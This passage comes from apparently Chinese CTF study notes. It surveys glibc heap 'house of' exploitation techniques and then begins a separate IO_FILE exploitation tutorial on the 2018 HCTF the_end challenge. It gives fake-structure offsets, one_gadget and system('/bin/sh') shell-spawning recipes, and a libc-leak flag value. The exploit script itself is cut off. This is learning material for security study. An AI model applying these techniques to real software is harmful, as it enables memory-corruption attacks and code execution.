  • 根据偏移计算 chunk size2,再次释放 chunk A 到地址 M 处,此时有地址 M 处存储 chunk A 地址,chunk A->fdN
  • 修正 chunk A 的大小为 chunk size1,分配 1chunk 即可使得 N 转移到地址 X 处,当然在转移的过程中可以适当的修改 N

显然,借助写原语 2,即可在不需要泄露地址的前提下将__malloc_hook 等写为 one_gadget,爆破的概率是 1/4096

相关技巧

  • 虽然至今都能使用 house of corrosion,但是在 glibc-2.37 版本中,global_max_fast 的数据类型被修改为了 int8_u,进而导致可控的空间范围大幅度缩小。
  • house of corrosion 也可以拓展到 tcachebin
  • 适当控制 global_max_fast 的大小,把握控制的空间范围
  • 可以和 IO_FILE 结合起来泄露信息

利用效果

  • glibc 上的地址泄露
  • 执行 one_gadget

2.10-house of husk

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以修改__printf_arginfo_table__printf_function_table
  • 可触发格式化字符串解析

利用原理

严格来说,这个漏洞是与堆的关系并不是很大,主要是根据 printf 的机制进行利用。但是,该技术可以和很多堆利用手法结合起来。

调用处 1

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

调用处 2

利用方式为:

  • __printf_function_table__printf_arginfo_table 分别写为 chunk Achunk B 的地址
  • 设占位符为 α,此时 chunk A 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget)

该处调用在高版本被删除。

相关技巧

  • 该技巧一般和 largebin attack 结合起来
  • 在低于 2.36 版本中,__malloc_assert 中有格式化字符串的解析
  • 还有一个__printf_va_arg_table 也是可以利用的,但是条件比较苛刻

利用效果

  • 执行 one_gadget
  • 执行 rop 控制程序执行流

2.11-house of atum

漏洞成因

1
edit after free

适用范围

  • 2.26——2.30
  • 可以修改 tcachebinnextkey

利用原理

这是一个关于 tcachebin 的技巧,用于修改 chunk presize/size,利用过程如下:

  • 申请 chunk A,大小在 fastbin 范围内
  • 释放 A,连续释放 8 次,此时,Afd 被清 0A 也被放置到了 fastbin 里面
  • 申请一个 chunk,将其 fd 修改为 A - 0x10,此时 tcache 中的 counts6
  • 再申请一个 chunk,从 fastbin 里面取,但是会把 fastbin 里面剩余的一个 chunk 链入到 tcachebin
  • 再次分配就会分配到地址 A-0x10 处,就可以修改原来 Apresize/size

相关技巧

  • 2.30 之后逻辑变了,原来是判断 entry[idx]!=NULL2.31 之后判断 count[idx] > 0
  • 有时候需要绕过 tcache->key 的检测

利用效果

  • 修改 chunk size 以及 chunk presize

2.12-house of kauri

漏洞成因

堆溢出

适用范围

  • 2.26——2.32

利用原理

利用原理很简单,修改 tcachebinsize,然后使其被放到不同大小的 tcachebin 链表里面去。我感觉这个技巧是很基础的 tcachebin 技巧,甚至不应该被称之为 house of

相关技巧

利用效果

  • 多个 tcachebin 链表中存放同一个 chunk

2.13-house of fun

漏洞成因

堆溢出、use after free

适用范围

  • 2.23——2.30
  • 可以申请 largebin 范围的 chunk

利用原理

或许这个技巧应该叫做 largebin attack

在这个 sourceware.org Git - glibc.git/blobdiff - malloc/malloc.ccommit 被检测了:

image-20230306115614058

相关技巧

利用效果

  • 任意地址写堆地址

2.14-house of mind

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以分配任意大小的 chunk

利用原理

主要利用的是:

1 2 3 4 #define heap_for_ptr(ptr) \ ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1))) #define arena_for_chunk(ptr) \ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)

如果是 non-mainareanchunk,会根据其地址找到 heapinfo,然后找到 malloc_state 结构体。

因此,利用技巧是:

  • 根据要释放的 fastbin chunk A 的堆地址,找到对应的 heap_for_ptr 地址
  • heapinfo 地址处伪造好相关变量,重点是 mstate 指针
  • 修改 chunk Anon-main 标志位,释放到伪造的 arena 里面,控制好偏移即可

相关技巧

  • 一般来说,可以分配任意大小的 chunk,还能堆溢出,很多技巧都能用
  • 这个技巧是希望大家关注对于 arena 的攻击
  • 甚至可以直接修改 thread_arena 这个变量

利用效果

  • 任意地址写堆地址

2.15-house of muney

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 能分配 mmapchunk
  • 能修改 mmapchunk 的大小

利用原理

这个技巧被称之为 steal heap from glibc。主要的点有以下几个:

  • libc.so.6 映射的地址空间,前面都是与符号表、哈希表、字符串表等重定位或者解析函数地址有关,前面一段的权限是 r--
  • mmap(NULL, ...) 是会分配到 libc.so.6 的上方的

基于这两个知识点,利用过程如下:

  • 申请 chunk A,假设为 0x40000 大小,则会走 mmap 申请,并且申请到 libc.so.6 的上方
  • 修改 chunk A 的大小为 0x45000,设置 MMAP 标志位
  • 释放 chunk A,则会把 libc.so.60x5000 的内存也释放掉
  • 再次申请 0x45000,就可以控制 libc.so.6 原来的符号表、哈希表等等
  • 触发一次 dl_runtime_resolve 等就能控制程序执行任意代码

相关技巧

  • 需要伪造的符号表、哈希表等需要逐步调试
  • 可以扩展为 steal heap from everywhere

利用效果

  • 任意代码执行

2.16-house of botcake

漏洞成因

1
double free

适用范围

  • 2.26—— 至今
  • 多次释放 chunk 的能力

利用原理

该技巧可以用于绕过 tcache->key 的检查,利用过程如下:

  • 申请 7 个大小相同,大小大于 0x80chunk,再申请三个,分别为 chunk AchunkBchunk C
  • 释放前 7 个和 chunk A,前面 7 个都会进入到 tcachebin 里面,chunk A 进入到 unsortedbin
  • 释放 chunk B,则 chunk B 会和 chunk A 合并
  • tcachebin 分配走一个
  • 再次释放 chunk B,此时 B 同时存在与 unsortedbintcachebin

相关技巧

  • 在高版本需要绕过指针保护的检查

利用效果

  • 构造出堆重叠,为后续利用做准备

2.17-house of rust

漏洞成因

堆溢出

适用范围

  • 2.26—— 至今
  • 可以进行 tcache stash unlinking 攻击
  • 可以进行 largebin attack
  • 不需要泄露地址

利用原理

原作者的博客写得很复杂,我这里提炼出关键信息。该技巧就是 tcachebin stash unlinking+largebin attack 的组合技巧。

首先需要知道 tcachebin stash unlinking,下面称之为 TSU 技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 8smallbin chunkbkaddr
  • 分配 malloc(A) 的时候,addr+0x10 会被写一个 libc 地址

还要知道 tcachebin stash unlinking+,下面称之为 TSU+ 技巧:

  • tcachebin[A] 为空
  • smallbin[A]8
  • 修改第 7smallbin chunkbkaddr,还要保证 addr+0x18 是一个合法可写的地址
  • 分配 malloc(A) 的时候,addr 会被链入到 tcachebin,也就是可以分配到 addr

0x90 大小的 chunk 为例,此时的 tcache_key 还是指向 tcache_perthread_struct + 0x10 的:

  • 第一步,把 tcachebin[0x90] 填满,把 smallbin[0x90] 也填满
  • 第二步,把最后一个 smallbin 0x90chunksize 改成 0xb0,将其释放到 tcachebin[0xb0],这一步主要是为了改变其 bk 指向 tcache_perthread_struct + 0x10,可以部分修改低位的字节,以便下一步分配到目标区域
  • 第三步,使用 largebin attack 往上一步的 bk->bk 写一个合法地址,然后耗尽 tcachebin[0x90],再分配的时候就会触发 TSU+,之后就能分配到 tcache_perthread_struct 结构体
  • 第四步,还是堆风水,但是用 TSU 技术,在 tcache_perthread_struct 上写一个 libc 地址(比前面一步要简单很多)
  • 第五步,通过控制 tcache_perthread_struct 结构体,部分写上面的 libc 地址,分配到 stdout 结构体,泄露信息
  • 第六步,通过控制 tcache_perthread_struct 结构体分配到任意地址

上面的过程最好的情况下需要爆破 1/16,最差 1/256

但是,2.34 之后,tcache_key 是一个随机数,不是 tcache_perthread_struct + 0x10 了。

所以,此时可以加上 largebin attack,把以上的第二步变为:继续用 largebin attack 向其 bk 写一个堆地址,然后还要部分写 bk 使其落在 tcache_perthread_struct 区域。其他步骤一样。

或者,在 smallbin 里面放 9 个,这样第 8 个的 bk 肯定就是一个堆地址。此时就需要爆破 1/16 的堆,1/16glibc 地址,成功的概率是 1/256

相关技巧

  • 总的来说,就是利用 tcachebin stash unlinkingtcache_perthread_struct
  • 利用 largebin attack 构造合法地址

利用效果

  • 任意地址分配
  • 任意函数执行

2.18-house of crust

漏洞成因

堆溢出

适用范围

  • 2.26——2.37
  • 可以进行 tcache stash unlinking 攻击
  • 可以进行 largebin attack
  • 不需要泄露地址

利用原理

其他步骤和上面的 house of rust 一样,但是到第五步的时候,去修改 global_max_fast

后面的步骤和 house of corrosion 是一样的,通过写原语打 stderr 修改 one_gadget 拿到 shell

相关技巧

  • house of crust = house of corrosion + house of rust
  • 2.37 之后,house of corrosion 使用受限

2.19-house of io

漏洞成因

堆溢出

适用范围

  • 2.26—— 至今

利用原理

其他博客上对该方法的介绍如下:

1 The tcache_perthread_object is allocated when the heap is created. Furthermore, it is stored right at the heap's beginning (at a relatively low memory address). The safe-linking mitigation aims to protect the fd/next pointer within the free lists. However, the head of each free-list is not protected. Additionally, freeing a chunk and placing it into the tcachebin also places a non-protected pointer to the appropriate tcache entry in the 2nd qword of a chunks' user data. The House of IO assumes one of three scenarios for the bypass to work. First, any attacker with a controlled linear buffer underflow over a heap buffer, or a relative arbitrary write will be able to corrupt the tcache. Secondly, a UAF bug allowing to read from a freed tcache eligible chunk leaks the tcache and with that, the heap base. Thirdly, a badly ordered set of calls to free(), ultimately passing the address of the tcache itself to free, would link the tcache into the 0x290 sized tcachebin. Allocating it as a new chunk would mean complete control over the tcache's values.

可以看出来,其实就是对 tcache_perthread_struct 结构体的攻击,想办法将其释放掉,然后再申请回来,申请回来的时候就能控制整个 tcache 的分配。

相关技巧

  • 围绕 tcache_perthread_struct 进行攻击

利用效果

  • 任意地址分配

2.20-house of banana

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 能执行 exit 函数

利用原理

首先是 largebin attack 在高版本只能从下面这个分支利用:

也就是,双链表里面至少存在一个 largebin chunk,且目前要入链的 chunk 比最小的还小,修改了 bk_nextsize 之后就会触发。可以造成任意地址写堆地址。

然后是 exit 调用的时候,会调用到_dl_fini 函数,执行每个 so 中注册的 fini 函数:

可以触发 call 的有两个点,第一个点可以 call 到很多指针,是一个数组;另一个点就只有一个函数。

剩下的工作就是根据代码绕过检测,调用到调用点。

所以,利用的思路有:

  • 直接伪造_rtld_global_ns_loaded,布局好其他内容,使其调用到 fini_array
  • 伪造 link_mapnext 指针,布局好其他内容,使其调用到 fini_array
  • 修改 link_map->l_addr,根据偏移使其调用到指定区域的函数

相关技巧

  • 伪造 fini_array 数组的时候,是从后往前遍历的
  • 有时候远程的 rtld_global 的偏移与本地不一样,需要爆破
  • 如果不想逐个伪造,可以直接用 gdb 从内存里面 dump 出来,然后基于偏移修改内存即可

利用效果

  • 任意代码执行

2.21-house of kiwi

漏洞成因

堆溢出

适用范围

  • 2.23——2.36
  • malloc 流程中触发 assert

利用原理

主要是提供了一种在程序中调用 IO 流函数的思路:

可以看到,调用到了 fxprintffflush

至于原 house of kiwi 所提到的控制 rdx 的思路,在很多版本中无法使用,因为 IO_jumps_table 都是不可写的,故此处不再详述。

相关技巧

  • 2.36 之后,__malloc_assert 被修改为:
1 2 3 4 5 6 7 8 9 _Noreturn static void __malloc_assert (const char *assertion, const char *file, unsigned int line, const char *function) { __libc_message (do_abort, "\ Fatal glibc error: malloc assertion failure in %s: %s\n", function, assertion); __builtin_unreachable (); }

而在 2.37 该函数直接被删掉了。

  • 如果 stderrlibc 上,需要修改调 stderr 处的指针,也有可能在程序的地址空间上

  • 伪造的技巧如下,触发 fxprintf(stderr,......)

    | 1 2 3 4 5 | flags & 0x8000的话,不用伪造_lock flags & ~(0x2 | 0x8) 必须成立,避免走到unbuffered的流程 mode 设置为0 vtable默认调用的是偏移0x38的函数,如果想劫持为_IO_xxx_overflow,需要设置为_IO_xxx_jumps-0x20 flags 可以设置为" sh||",前面有两个空格,此时还需要设置_lock,不想设置_lock的时候,flags可以为"\x20\x80;sh||" |
    | ———— | ———————————————————— |
    | | |

利用效果

  • 触发 IO 处理流程,为后续利用做准备

2.22-house of emma

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行两次 largebin attack
  • 或者可以进行两次任意地址写堆地址
  • 可以触发 IO 流操作

利用原理

_IO_cookie_jumps 中存在一些_IO_cookie_read 等函数,如下:

可以看到有函数指针的调用。但是对函数指针使用 pointer_guard 进行了加密:

循环右移后,再异或。

因此,利用思路如下:

  • 截至某个 IO_FILE 的指针(IO_list_all/stdxxx->chain 等都可以)为堆地址
  • 堆上伪造 IO_FILE 结构,其 vtable 替换为_IO_cookie_jumps+XXXX 为一个偏移量
  • 伪造好函数指针和调用参数,指针需要循环异或和加密
  • 调用到_IO_cookie_read 等函数,进而执行任意函数

相关技巧

  • 常用的 gadget 有:
  • pointer_guard 就在 canary 下面,偏移可能需要爆破

利用效果

  • 任意函数执行

2.23-house of pig

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以进行 largebin attack
  • 可以触发 IO 流操作

利用原理

_IO_str_jumps 中,存在着_IO_str_overflow 函数:

从函数中就能看到,利用流程如下:

  • 伪造 IO_FILE_IO_buf_base
  • 合理控制_IO_buf_end-_IO_buf_base 的值,进而控制分配的 chunk 的大小,分配到布局好的地址
  • memcpy 中覆盖地址,如可以覆盖__malloc_hook/__free_hook

该方法需要结合其他堆利用技术,需要保证 malloc 分配出来的 chunk 的地址是可控的。该方法主要提供了对 IO 系列函数中间接调用 mallc/free/memcpy 的组合利用。

相关技巧

  • 可以 largebin attack 打掉 mp_.tcachebins,进而能把很大的 chunk 也放进入 tcache 进行管理
  • 高版本没有 hook 的话,可以利用 memcpy@got,通过覆写 got 来进行 rce
  • 可以多次 house of pig 组合调用

利用效果

  • 任意函数执行
  • ROP 控制程序执行流

2.24-house of obstack

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 可以执行一次 largebin attack
  • 可以触发 IO 流操作

利用原理

一条新的利用链,伪造 vtable_IO_obstack_jumps,然后调用到_IO_obstack_xsputn,紧接着调用 obstack_grow,其代码为:

1 2 3 4 5 6 7 8 9 #define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (_o->next_free + __len > __o->chunk_limit) \ _obstack_newchunk (__o, __len); \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; })

然后在_obstack_newchunk 调用了 CALL_CHUNKFUN 这个宏

这个宏会调用到函数指针:

1 2 3 4 # define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

因此,其就是利用该函数指针进行控制程序的执行流。

相关技巧

伪造的 IO_FILE 布局如下:

  • 利用 largebin attack 伪造_IO_FILE,记完成伪造的 chunkA(或者别的手法)
  • chunk A 内偏移为 0xd8 处设为_IO_obstack_jumps+0x20
  • chunk A 内偏移为 0xe0 处设置 chunk A 的地址作为 obstack 结构体
  • chunk A 内偏移为 0x18 处设为 1next_free)
  • chunk A 内偏移为 0x20 处设为 0chunk_limit
  • chunk A 内偏移为 0x48 处设为 &/bin/sh
  • chunk A 内偏移为 0x38 处设为 system 函数的地址
  • chunk A 内偏移为 0x28 处设为 1_IO_write_ptr)
  • chunk A 内偏移为 0x30 处设为 0 (_IO_write_end)
  • chunk A 内偏移为 0x50 处设为 1 (use_extra_arg)

glibc-2.37 开始这个方法的调用链为:__printf_buffer_as_file_overflow -> __printf_buffer_flush -> __printf_buffer_flush_obstack->__obstack_newchunk

利用效果

  • 任意函数执行

2.25-house of apple1

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 程序从 main 函数返回或能调用 exit 函数
  • 能泄露出 heap 地址和 libc 地址
  • 能使用一次 largebin attack(一次即可)

利用原理

利用_IO_wstr_overflow 将任意地址存储的值修改已知值:

比如修改 tcache 变量、mp_结构体、pointer_guard 变量等。

修改成功后,再使用其他技术控制程序执行流。

相关技巧

house of apple1 是对现有一些 IO 流攻击方法的补充,能在一次劫持 IO 流的过程中做到任意地址写已知值,进而构造出其他方法攻击成功的条件。

利用效果

  • 任意地址写已知堆地址

2.26-house of apple2

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 已知 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发
  • 能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

_IO_WIDE_JUMPS 没有检查_wide_vtable 的合法性:

1 2 3 4 5 6 7 8 #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) #define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1) #define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS) #define _IO_WIDE_JUMPS(THIS) \ _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

所以利用_IO_wfile_jumps 等伪造_wide_vtable 即可。

相关技巧

利用_IO_wfile_overflow 函数控制程序执行流时对 fp 的设置如下:

  • _flags 设置为 ~(2 | 0x8 | 0x800),如果不需要控制 rdi,设置为 0 即可;如果需要获得 shell,可设置为 sh;,注意前面有两个空格
  • vtable 设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址(加减偏移),使其能成功调用_IO_wfile_overflow 即可
  • _wide_data 设置为可控堆地址 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_write_base 设置为 0,即满足 *(A + 0x18) = 0
  • _wide_data->_IO_buf_base 设置为 0,即满足 *(A + 0x30) = 0
  • _wide_data->_wide_vtable 设置为可控堆地址 B,即满足 *(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP,即满足 *(B + 0x68) = C

利用效果

  • 任意函数执行

2.27-house of apple3

漏洞成因

堆溢出

适用范围

  • 2.23—— 至今
  • 已知 heap 地址和 glibc 地址
  • 能控制程序执行 IO 操作,包括但不限于:从 main 函数返回、调用 exit 函数、通过__malloc_assert 触发
  • 能控制_IO_FILEvtable_wide_data,一般使用 largebin attack 去控制

利用原理

__libio_codecvt_in 等函数,可以设置 gs->__shlib_handle == NULL 绕过 PTR_DEMANGLE 对指针的保护,然后通过_IO_wfile_underflow 调用到__libio_codecvt_in 来控制函数指针,执行任意代码。

相关技巧

利用_IO_wfile_underflow 函数控制程序执行流时对 fp 的设置如下:

  • _flags 设置为 ~(4 | 0x10)
  • vtable 设置为_IO_wfile_jumps 地址(加减偏移),使其能成功调用_IO_wfile_underflow 即可
  • fp->_IO_read_ptr < fp->_IO_read_end,即满足 *(fp + 8) < *(fp + 0x10)
  • _wide_data 保持默认,或者设置为堆地址,假设其地址为 A,即满足 *(fp + 0xa0) = A
  • _wide_data->_IO_read_ptr >= _wide_data->_IO_read_end,即满足 *A >= *(A + 8)
  • _codecvt 设置为可控堆地址 B,即满足 *(fp + 0x98) = B
  • codecvt->__cd_in.step 设置为可控堆地址 C,即满足 *B = C
  • codecvt->__cd_in.step->__shlib_handle 设置为 0,即满足 *C = 0
  • codecvt->__cd_in.step->__fct 设置为地址 D, 地址 D 用于控制 rip,即满足 *(C + 0x28) = D。当调用到 D 的时候,此时的 rdiC。如果_wide_data 也可控的话,rsi 也能控制。

利用效果

  • 任意函数执行

2.28-house of gods

漏洞成因

堆溢出

适用范围

  • 2.23——2.27
  • 泄露堆地址和 libc 地址
  • 任意大小分配

利用原理

这个技巧比较有意思,非常建议把作者的原博客读一下。我会简述一下该技巧的利用过程。

总的来说,该技巧最终的目的是伪造一个 fake arena,通过劫持 main_arena.next 字段完成。

其主要过程为:

  • 通过 binmap 的赋值,将其当做 chunksize,然后修改 unsortedbin 链的 bk 指向 binmap,作者选择的是 0x90 大小的 chunk,释放后恰好让 binmap 称为 0x200,然后 binmap->bkmain_arena(初始状态下 main_arena.next = &main_arena),然后 main_arena->bk= fastbin[0x40]
  • 分配 0x1f0 大小的 chunk 就刚好能分配到 binmap
  • 之后修改掉 main_arenasystem_mem 为很大的值和 next 指向 fake arena
  • 然后用 unsortedbin attack 打掉 narenas,将其改为一个很大的数
  • 然后分配两次 malloc(0xffffffffffffffbf + 1),触发 arena_get_retry,进而触发两次 reused_arena,就能把 fake arenathread_arena 变量
  • 最后直接伪造 fastbin 任意地址分配

相关技巧

  • 仅仅借助 unsortedbin 链就能控制 main_arenanextsystem_mem
  • 利用 binmap 的值构造出合法的 size

利用效果

  • 劫持 thread_arenafake_arena

3 - 总结

  • 总结了 28house of 系列利用手法
  • 给出了每种利用手法的影响版本、适用范围、利用原理等
  • 所有的利用方法都可以在源码中找到答案,因此强烈建议将源码反复阅读
  • 可以根据目前已有的技术提出新的组合技

4 - 参考

[1] 堆利用系列之 house of spirit - 安全客 - 安全资讯平台 (anquanke.com)

[2] shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

[3] Overview of GLIBC heap exploitation techniques (0x434b.dev)

[4] [原创] CTF 中 glibc 堆利用 及 IO_FILE 总结 - Pwn - 看雪论坛 - 安全社区 | 安全招聘 | bbs.pediy.com (kanxue.com)

[5] PWN——House Of Einherjar CTF Wiki 例题详解 - 安全客 - 安全资讯平台 (anquanke.com)

[6] Top chunk 劫持:House of force 攻击 - 安全客 - 安全资讯平台 (anquanke.com)

[7] House of Lore - CTF Wiki (ctf-wiki.org)

[8] House of orange - 安全客 - 安全资讯平台 (anquanke.com)

[9] house of rabbit

[10] House of Roman - CTF Wiki (ctf-wiki.org)

[11] House of storm 原理及利用 - 安全客 - 安全资讯平台 (anquanke.com)

[12] House-of-Corrosion 一种新的堆利用技巧 - 先知社区 (aliyun.com)

[13] house-of-husk 学习笔记 - 安全客 - 安全资讯平台 (anquanke.com)

[14] House of Muney 分析 - 安全客 - 安全资讯平台 (anquanke.com)

[15] 奇安信攻防社区 - 深入理解 House of Botcake 堆利用手法 (butian.net)

[16] c4ebt/House-of-Rust: The House of Rust is a heap exploitation technique that drops a shell against full PIE binaries that don’t leak any addresses. (github.com)

[17] house of banana - 安全客 - 安全资讯平台 (anquanke.com)

[18] House OF Kiwi - 安全客 - 安全资讯平台 (anquanke.com)

[19] house of emma

[20] house of pig 一个新的堆利用详解 - 安全客 - 安全资讯平台 (anquanke.com)

[21] 一条新的 glibc IO_FILE 利用链:_IO_obstack_jumps 利用分析 - 跳跳糖 (tttang.com)

[22] House of Apple 一种新的 glibc 中 IO 攻击方法 (1) - roderick - record and learn! (roderickchan.cn)

[23] House of Apple 一种新的 glibc 中 IO 攻击方法 (2) - roderick - record and learn! (roderickchan.cn)

[24] House of Apple 一种新的 glibc 中 IO 攻击方法 (3) - roderick - record and learn! (roderickchan.cn)

[25] GlibcHeap-house of muney - roderick - record and learn! (roderickchan.cn)

[26] house-of-gods/HOUSE_OF_GODS.TXT at master · Milo-D/house-of-gods (github.com)

【PWN】IO_FILE的利用

此篇简单的学习一下IO_File的利用

IO_FILE 的结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

IO_FILE实际上还包括在一个IO_FILE_plus中

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}

在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

IO_FILE_plus结构通过链表链接

    初始时形成以下顺序:

_IO_list_all  -&gt; _IO_2_1_stderr_ -&gt;  _IO_2_1_stdout_  -&gt;  _IO_2_1_stdin_

_IO_list_all 是一个链表头

后面三个文件是三个自动open的文件,它们的文件描述符为2,1,0

stdin对应0,所以我们也可以猜想平常写的read(0,xxx,xxx)与write(1,xxx,xxx)是何含义,我们的io输入输出被抽象成了文件输入输出

假设我们open file,其会被插入到链表头位置,类似我们之前学的fastbin 插入。

它们会存在哪里?

自动开启的三个文件结构(IO_FILE_plus)会被存放在libc中,后续手动开启的则会被分配在堆区。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.data:00000000003C56F8                 dq offset _IO_file_jumps  // vtables
.data:00000000003C5700 public stderr
.data:00000000003C5700 stderr dq offset _IO_2_1_stderr_
.data:00000000003C5700 ; DATA XREF: LOAD:000000000000BAF0↑o
.data:00000000003C5700 ; fclose+F2↑r ...
.data:00000000003C5708 public stdout
.data:00000000003C5708 stdout dq offset _IO_2_1_stdout_
.data:00000000003C5708 ; DATA XREF: LOAD:0000000000009F48↑o
.data:00000000003C5708 ; fclose+E9↑r ...
.data:00000000003C5710 public stdin
.data:00000000003C5710 stdin dq offset _IO_2_1_stdin_
.data:00000000003C5710 ; DATA XREF: LOAD:0000000000006DF8↑o
.data:00000000003C5710 ; fclose:loc_6D340↑r ...
.data:00000000003C5718 dq offset sub_20B70
.data:00000000003C5718 _data ends
.data:00000000003C5718
.bss:00000000003C5720 ; ===========================================================================

那么什么是 *vtable项呢?

*vtable是一个指针,指向一个虚表。该虚表中存放了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail

8 NULL, // xsputn #printf后面讲解执行流程章节会用到此处
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};

我们还是随便打开一个程序,dbg看看它的示例吧

image.png

通过 p _IO_list_all 我们可以查看该符号的地址

p *(struct _IO_FILE_plus *) _IO_list_all

image.png

我们这里可以看到vtable项、fileno项与_chain项

_chain项指向下一个表,如stderr的chain的值就是stdout的地址,fileno存的就是该文件的文件描述符。

那么这个虚表是干什么的?

_IO_puts在过程当中调用了一个叫做_IO_sputn函数(_IO_fwrite也会调用这个),_IO_sputn其实是一个,它的作用就是调用_IO_2_1_stdout_中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数

这个虚表存放在哪里?

这个虚表也存放在了data区,还记得上面有张图吧,其就在stderr的上面。

日常所用的输入输出函数会调用虚表中的函数

fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

如puts会调用虚表中的_xsputn,而经过一系列操作,最终会系统调用write。

利用_IO_2_1_stdout泄露libc

iofile的相关利用,有一个很重要的效果就是泄露libc。

设置flag位绕过检测

_flags = 0xFBAD1800

伪造 vtable 劫持程序流程
由于我们调用io函数时,其最终会指向vtable的函数。所以我们可以通过改变vtable对应项或改变vtable指针,使其指向可利用位置,再在相应位置填写目标函数。

在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。换言之,2.23及以后,只能通过修改vtable指针再进行利用了。

举例2018 HCTF the_end

image.png

由于sleep函数地址泄露,所以可以获得基址,于是得到偏移后虚表指针地址,one_gadget地址。

题目拥有5字节任意地址修改能力。

本题我们利用的是:

  • 在程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数。

setbuf在虚表0x58偏移处。

所以我们覆盖虚表指针的数值为 伪造处地址-0x58

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
